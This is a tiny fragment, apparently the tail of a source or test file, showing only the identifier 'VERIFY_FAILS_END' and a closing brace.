    VERIFY_FAILS_END
}